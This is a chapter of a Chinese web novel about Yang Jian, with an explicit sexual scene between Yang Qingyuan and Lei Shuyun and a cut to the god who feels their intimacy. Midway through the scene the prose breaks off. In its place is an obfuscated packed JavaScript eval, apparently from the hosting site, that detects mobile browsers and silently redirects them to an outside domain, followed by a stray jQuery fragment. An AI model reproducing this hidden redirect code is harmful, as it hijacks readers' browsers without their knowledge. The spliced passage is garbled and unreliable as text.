31.第 31 章

作品:《都怪杨戬实在貌美

    天蒙蒙亮,杨清源重新躺回卧房里的时候,对面房间中传来乒乒乓乓的动静,恐怕是雷淑韫正在安置从李家村救回的祭品。


    杨清源不紧不慢地褪去外衣,只着里衣躺在榻上,闭上了眼。


    果不其然,没过一会儿,他的卧房就被嘎吱一声推开,窸窸窣窣的声音传来,是雷淑韫的脚步声,她动作很快地脱去外衣,小心翼翼地走到床边,躺了下来。


    杨清源继续装睡。


    雷淑韫这几天一直如此,晚上等他“睡着”后,就悄悄从床上起来,然后跑到李家村蹲点。


    杨清源也在她走之后,悄悄地跟上去,又提前赶回来,替她暖好被褥。


    他猜测,是他上次非要陪雷淑韫去李家村的坟地,她才不得不出此下策,自己偷偷地去盯着。


    杨清源也不愿意让她为难,只好不戳破不询问,两人都不算是同床异梦了——甚至连同床的时间都没多久。


    雷淑韫躺在他身边,扭头看了一眼杨清源的睡颜,长睫细密,微微的光亮在他脸上投下阴影,剑眉星目却不失倜傥,高挺的鼻梁显得他眼窝深邃,薄唇抿着,他沉睡时也安安静静的,也不打鼾、也不磨牙,即便是从床伴的角度上来说,也是十分完美。


    雷淑韫盯着他看了一会儿,忍不住往他怀里蹭。


    她将脑袋搁在他肩膀上,手脚并用地缠上他。


    趁他没睡醒,还十分嚣张地用手放在他的腹肌上摸了好几把。


    温温热热的手感,软硬适中,非常不错。


    装睡的杨清源微微蹙眉,她手有些凉,他掀开眼睑瞥了一眼,望见雷淑韫笑嘻嘻地品鉴着他的“□□”,似乎食髓知味,刚放在他肩头的脑袋又抬起来,钻进了薄被之中,他只能看见红被翻动。


    随后他呼吸一窒。


    雷淑韫竟然把他的里衣打开,随后枕在了他的小腹上,还时不时用柔软的脸颊蹭蹭他的小腹。


    柔软的长发披散在他身上,发梢拭过他的胸前,若有若无的痒意,与小腹传来的柔软触感连成了一片。


    杨清源有些无奈,他倒是想要继续装睡,可看雷淑韫的作为,却不像是想睡觉的样子。


    雷淑韫蹭过他的小腹,最终在这片不软不硬的温热身躯上找到了适合做枕头的地方。还好杨清源的床榻够大,容得下她这样横着躺。


    她眨眨眼睛,正打算就这样睡下,可闭眼前就看见了某处的微妙变化。


    雷淑韫:“……”


    他没睡?


    等等,或者男子就是如此呢,即便是睡了,也能有这样和那样的自然反应?


    她还在垂死挣扎,不肯承认自己在他醒着时,就百无禁忌地“糟蹋”他的腹肌。


    他若是睡着了,方才那些动作都能推为自己睡相不佳所为——孤好梦中摸腹肌。


    可他若是醒着……


    杨清源自然也意识到了自己某处的变化,没打算就这么糊弄过去,于是伸手把她从被子中捞出来,等他的手搭在她肩上时,十分清晰地察觉到手下肩头瑟缩了一瞬。


    他就懂了,所以雷淑韫也察觉到他醒了。


    他喉结暗滚,那方才那些举动是什么,故意轻薄?还是蓄意勾引?


    雷淑韫老老实实地被他从被子里捞出来,她死马当作活马医,心一横闭上了眼,在杨清源质问她之前,呓语似地说道:“我睡着了我睡着了我睡着了……”


    杨清源失笑。


    他曲指刮了一下她的鼻梁:“睡着还能说话?”


    低沉的嗓音落在她的耳中,又叫她心头荡漾了一瞬,胸中奇异地升起期待,想也不想就回答:“这是梦话。”


    杨清源温吞悦耳的笑声传来,末了才说:“那好。”


    雷淑韫还闭着眼呢,听他这样说,莫名地失望,什么叫做“那好”,他就这个反应么。


    杨清源曲臂撑在她身侧,看见她依旧紧闭着眼,又想起她这两句回复的梦话,忽然心田柔软,觉得她甚是可爱,方才胸前和小腹连成一片的痒意又死灰复燃。


    他附身在她唇角轻啄,细细密密的吻覆在她脸上,另一只手下意识放在她的身侧,将她笼在身下,又不自觉地将唇齿的亲昵向下,流连在她颈项边上,听着她呼吸加重,轻哼声撒娇一样地溢出,她的手也顺势抓住了他原本就不甚体面的里衣衣襟。


    好像是难为情地催促,又有一些活泼的期待之意。


    她真是可爱极了。


    杨清源想着,却始终没有向下,只是禁锢着她,仿佛流连于颈项的亲吻就足够。


    可两人都知道不足够,一直嘴硬在说“梦话”的雷淑韫都难耐地睁开了眼,轻喘着抬起手臂,揽上他宽阔的肩,催促似的将自己贴近他。


    杨清源眼中眸色加深,听到她短促地哼着他的名字,“清源”、“清源”,这是他给自己起的名字,她只知道清源,不知道什么杨戬,她对他眷恋极了。


    可他想到杨戬或许能与此刻的他共感,就不甘心轻易地叫他白白得逞。


    ……


    清源崖中的神君闭着眼,看似不动如山,可额角却冒出细密的汗。


    他仿佛能闻到女子身上的幽香,柔软的肌肤,丝丝缕缕的青丝缠绕着他,叫他百般刚烈都成绕指柔。


    义无反顾地带着他沉沦,溺毙于欲海之中。


    照理来说,他该抓住这计划,想办法开了纵目,好看清那边人在何处,好去惩处这个胆大妄为之人,竟然惹动神君的欲望,可他知晓交颈相缠的女子是雷淑韫,莫名就生出了心慈手软。


    杨戬纵然不愿承认,但在这样的煎熬中,也不得不直面内心。


    他的确渴求更多。


    ……


    杨清源略略抬起了头,他不想让自己的煎熬影响到雷淑韫,他自然舍不得叫她久候欢愉而不至。


    他用鼻尖蹭着她的耳窝,轻声道:“试试别的,好吗?”


    “别的?”她目光迷蒙,无意识地呢喃,“别的……什么?”


    他自有准备,且不必言语相告。


    细密的吻向下,她的衣衫尽数从被子中被丢在床下,两人肌肤相亲时,便都发出满足之喟叹,雷淑韫都快成了他的活祖宗,被他伺候惯了,宛若一团面,任他左右摆布。


    可即便如此,待他俯首在双tui间,长发勾着她的脚踝,还是叫她有些慌乱。


    “你,清源你……”


    他就抬头,柔和的目光难掩压抑,只一个眼神就叫她止住了话头,他再度俯首后,雷淑韫下意识闭上了眼,从未体验的战栗自尾椎一路向上,叫她整个人绷紧曲腰,宛若一张拉满的弓。


    她的手不小心拉到了床边的帘子,银钩原本挂着青色的透明的帐,在她动作中却不小心掉落,于是高高挂起的帐子落下,摇晃着盖住了床榻,迷迷蒙蒙的晨光氤氲在房间中,叫人不能看清。


    脸红心跳的声音从帐子中满溢出来。


    薄被不知怎么就滑落在了地上,两人的外衣还好好地挂在房间中,可里衣纠缠着散落在脚踏木凳上,绣鞋也被带得凌乱,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16097814|176291||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    帐子随着女子的手摇晃,偶尔能瞥见错乱相缠的肉色。


    似乎有微不可查的水声。


    短促的惊呼从唇齿中漏出,短暂的停顿过后,柔细却无力的推辞之话,从她口中响起:“不要了,真的不要了……”


    随后是杨清源困惑的声音:“真的?可比起往常的时间,似乎……”


    他话音未尽,马上就被捂住了嘴。


    “你少说几句吧,”她恼羞成怒,咬牙切齿,脸红不褪,“我说不要了,就是不要了。”


    他眼中笑意满满:“好,我都依你。”


    两人重新并肩躺着,雷淑韫被他捞在怀中,她嫌热想要推开,却被杨清源误会,捉住她的手放在了自己的小腹上,不知道为何,雷淑韫特别喜欢将手放在他的小腹上。


    雷淑韫摸着手下的腹肌,哼哼唧唧地,最终还是屈服,没有从他怀中逃走。


    他的小腹还在紧绷,她已然通过丰富的触摸经验,总结出了一些规律。


    譬如腹肌,寻常他清醒的时候,乃是软硬适中的,只有在他沉睡的时候才会放松似的,柔软一些,但若是需要格外用力的时候,便是手下这种紧绷的状态。


    她飞快地瞥了一眼杨清源,见他脸上仍是一派风轻云淡,仿佛马上就能拿起他喜爱的那几本经书分析讲解,一点儿也看不出身下是这样蓄势待发的状态。


    雷淑韫既感念他的周到伺候,也敬佩他的服务精神,此刻不由得关怀。


    “你……”


    她踌躇片刻,脸皮薄,终究没好意思直说。


    杨清源正专心地将她的发梢绕在自己的食指上,计算着圈数,以此静心。


    “怎么了?”他心无旁骛地问。


    雷淑韫决定换个说法。


    她心一横,飞快碰了碰他的某处,颇为大气地说道:“你太仗义了,我怎可只顾自己享受,不管你的死活?我雷某人断然不是那种忘恩负义之人。”


    杨清源有些没反应过来,怔住一瞬,被她打岔,立时忘记了发梢在食指缠绕到了第几圈。


    雷淑韫用词正直,且态度生猛,几乎将鱼水之欢形容成了上梁山共举大事。


    她继续大气地说道:“这样吧,你既然已经委屈了一回,我也不能不疼爱你,依我之见,你、你可以对我指导则个,我虽是没有这方面的经验,但我勤恳好学,且长于沟通协作,想必也能学会这个本事,能替你排遣排遣。”


    杨清源:“……”


    他终于听懂了。


    杨清源眼角一弯,畅快且欢乐地笑了许久,笑得雷淑韫的脸色由白转红又转白,她都快要扑在他身上堵住他的嘴,叫他不准再笑,也没能止住他的笑意。


    杨清源才不会去指导她,也不会让她学会什么本事替他排遣。


    他只是笑得全然丢了那些念头,只哄着她说:“下次,我定给你详细指导。”


    雷淑韫才不信他的鬼话。


    杨清源想,或许杨戬能够共感那些欢好,却断然共感不到这些甜蜜。


    这些是专属于他的。


    ……


    杨戬脸色不太好。


    清晨时,那阵熟悉的欲望升起,原本按照此前的过程,能够得以纾解,可不知怎么的,竟然就这样消散。


    他沉郁的心情铺满了脸上,不由得生出求知之心。


    发生了什么事?


    他明明感受到了与她欢好。


    为何陡然结束了。


    他胸口这难以言喻的不甘,又是从何而出。